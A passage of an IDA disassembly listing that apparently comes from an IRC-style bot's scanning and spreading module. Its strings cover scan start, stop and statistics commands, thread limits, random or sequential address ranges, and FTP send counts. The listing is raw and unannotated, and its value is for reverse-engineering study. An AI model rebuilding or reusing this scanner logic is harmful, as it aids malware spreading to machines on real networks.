		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4225D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225F0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_4225F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422620	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422620	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422640	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401EF1
		add	esp, 8
		retn	8
sub_422640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422670	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422690	proc near		; CODE XREF: sub_4018F7j
		mov	eax, [ecx]
		retn
sub_422690	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226B0	proc near		; CODE XREF: sub_4019BAj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401839
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4226B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_40163Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A8C
		pop	ecx
		retn	4
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422700	proc near		; CODE XREF: sub_401E7Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FB9
		pop	ecx
		retn	4
sub_422700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422720	proc near		; CODE XREF: sub_401A3Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42273B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42273B:				; CODE XREF: sub_422720+11j
		retn
sub_422720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_40203Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422750
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422791
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401681


loc_422791:				; CODE XREF: sub_422750+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227E0	proc near		; CODE XREF: sub_401EF1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4227E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422821
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014D3


loc_422821:				; CODE XREF: sub_4227E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4227E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422850	proc near		; CODE XREF: sub_401A8Cj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019C9
		retn
sub_422850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422870	proc near		; CODE XREF: sub_401FB9j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422870	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422890	proc near		; CODE XREF: sub_401681j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014D3
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422890	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_4019C9j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A82
		test	[esp+4+arg_0], 1
		jz	short loc_4228D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4228D8:				; CODE XREF: sub_4228C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4228C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4228F0	proc near		; CODE XREF: sub_401AF5j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4228F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D7F8B, offset aAsn ; "asn"
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4228F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422B40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C0A
		push	3
		call	sub_40148D
		add	esp, 4
		test	eax, eax
		jle	short loc_422BDD
		push	3
		call	sub_401DA2
		mov	eax, dword_50DB50[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422BDD:				; CODE XREF: sub_422B40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422C0A:				; CODE XREF: sub_422B40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422CB0
		mov	edi, dword_4D8370
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4232BD
		mov	edx, dword_44964F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422CB0:				; CODE XREF: sub_422B40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422D30
		push	eax
		push	3
		call	sub_401DA7
		add	esp, 8
		test	eax, eax
		jle	short loc_422D05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D05:				; CODE XREF: sub_422B40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D30:				; CODE XREF: sub_422B40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_422DDE
		push	3
		call	sub_40148D
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	2
		push	eax
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422F56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_422DDE:				; CODE XREF: sub_422B40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_445418
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E69
		mov	eax, offset dword_445418


loc_422E55:				; CODE XREF: sub_422B40+327j
		cmp	[eax+8], edi
		jb	short loc_422E5F
		mov	[esp+7A0h+var_78D], 1


loc_422E5F:				; CODE XREF: sub_422B40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422E55


loc_422E69:				; CODE XREF: sub_422B40+30Ej
		mov	ebp, off_511C00
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5F76F7
		mov	eax, dword_445418
		add	esp, 8
		test	eax, eax
		jz	short loc_422ECF
		mov	edi, offset dword_445420


loc_422E8F:				; CODE XREF: sub_422B40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5F76F7
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E8F


loc_422ECF:				; CODE XREF: sub_422B40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5F76F7
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422F29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	0
		call	sub_40152D
		add	esp, 10h


loc_422F29:				; CODE XREF: sub_422B40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422F39:				; CODE XREF: sub_422B40+1C0j
					; sub_422B40+1EBj ...
		xor	al, al


loc_422F3B:				; CODE XREF: sub_422B40+98j
					; sub_422B40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422F56:				; CODE XREF: sub_422B40+26Ej
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_423033
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423033:				; CODE XREF: sub_422B40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_423043
		mov	[esp+7A0h+var_658], 3Ch


loc_423043:				; CODE XREF: sub_422B40+4F1j
					; sub_422B40+4F6j
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42309C
		mov	[esp+7A0h+var_654], eax


loc_42309C:				; CODE XREF: sub_422B40+553j
		mov	eax, dword_445418
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42316C
		mov	ebp, offset dword_445418
		jmp	short loc_4230C2
; ---------------------------------------------------------------------------


loc_4230BF:				; CODE XREF: sub_422B40+602j
		or	ebx, 0FFFFFFFFh


loc_4230C2:				; CODE XREF: sub_422B40+57Dj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_4230EC:				; CODE XREF: sub_422B40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423110
		test	al, al
		jz	short loc_42310C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423110
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_4230EC


loc_42310C:				; CODE XREF: sub_422B40+5B6j
		xor	eax, eax
		jmp	short loc_423114
; ---------------------------------------------------------------------------


loc_423110:				; CODE XREF: sub_422B40+5B2j
					; sub_422B40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423114:				; CODE XREF: sub_422B40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42314A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_4230BF
		jmp	short loc_423169
; ---------------------------------------------------------------------------


loc_42314A:				; CODE XREF: sub_422B40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_445418[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423169:				; CODE XREF: sub_422B40+608j
		or	ebx, 0FFFFFFFFh


loc_42316C:				; CODE XREF: sub_422B40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42318A
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4232A5
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_422B40+635j
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset dword_4447F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013ED
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423267
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017EE
		push	eax
		call	near ptr 77C47660h
		nop
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423396
; ---------------------------------------------------------------------------


loc_423267:				; CODE XREF: sub_422B40+688j
		push	offset dword_4455E4
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4232A5:				; CODE XREF: sub_422B40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4232BD:				; CODE XREF: sub_422B40+132j
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_4232C4:				; CODE XREF: sub_422B40+735j
					; sub_422B40+745j ...
		mov	ecx, dword_4D808D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		call	near ptr 71AB951Eh
		nop
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_4455E4
		call	sub_4013ED
		test	eax, eax
		jz	short loc_42338B
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		mov	ebp, dword_511A9C
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42337E


loc_423362:				; CODE XREF: sub_422B40+83Cj
		test	eax, eax
		jz	short loc_42337E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423362


loc_42337E:				; CODE XREF: sub_422B40+820j
					; sub_422B40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423396
; ---------------------------------------------------------------------------


loc_42338B:				; CODE XREF: sub_422B40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423396:				; CODE XREF: sub_422B40+722j
					; sub_422B40+849j
		mov	edx, dword_4D808D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4233F8
		mov	eax, offset aSequential	; "sequential"


loc_4233F8:				; CODE XREF: sub_422B40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
